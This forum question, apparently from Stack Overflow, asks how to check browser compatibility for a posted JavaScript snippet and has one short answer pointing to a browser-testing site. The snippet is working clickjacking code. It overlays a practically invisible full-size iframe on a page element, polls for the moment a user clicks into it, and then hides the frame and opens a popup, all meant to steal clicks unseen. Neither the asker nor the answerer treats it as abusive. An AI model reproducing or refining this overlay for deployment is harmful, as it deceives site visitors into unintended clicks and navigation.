Deri
Deri

Reputation: 67

How to find out compability of javascript code and target browsers that support it?

This is my full code:

var movieDiv = document.getElementsByClassName("fullmovie-box noselect ignore-select");
movieDiv[1].style.position = "relative";
var el = document.createElement("iframe");
el.setAttribute("src", "https://www.someurl.com");
el.setAttribute("style", "zoom: 1; opacity: 0.0000001; -khtml-opacity: 0; -moz-opacity: 0; filter: alpha(opacity=0); -ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';");
el.setAttribute("frameborder", "0");
el.setAttribute('id', 'target');
el.setAttribute("scrolling", "no");
el.style.position = "absolute";
el.style.top = "0";
el.style.height = "1000px";
el.style.width = "100%";    
el.style.display = "block";
el.style.zIndex = "999999";
movieDiv[1].insertBefore(el, movieDiv.firstChild);


document.getElementById('target').addEventListener("load", function() {
console.log("iframe loaded");   
var monitor = setInterval(function(){
    var elem = document.activeElement;
    if(elem && elem.tagName == 'IFRAME'){
        var x = elem.id;
        if (x == "target") {
        console.log("ID sutampa");  
        setTimeout(function(){
        document.getElementById('target').style.pointerEvents = "none";         
        document.getElementById('target').style.display = "none";
        window.open("https://www.w3schools.com");       
        }, 1000);
        clearInterval(monitor);
    }}
}, 100);

});

Is there any online tool that let's you to get the compability with browsers when you paste code?

Or how do i find out the compability by myself and target only browsers that would be compatible with this script?

Maybe there's a way to target only modern browsers?

Thanks

Upvotes: 3

Views: 112

Answers (1)

user2342558
user2342558

Reputation: 6728

You can publish (with a link that only you know) your page and then test it here:

http://browsershots.org/

Upvotes: 4

Related Questions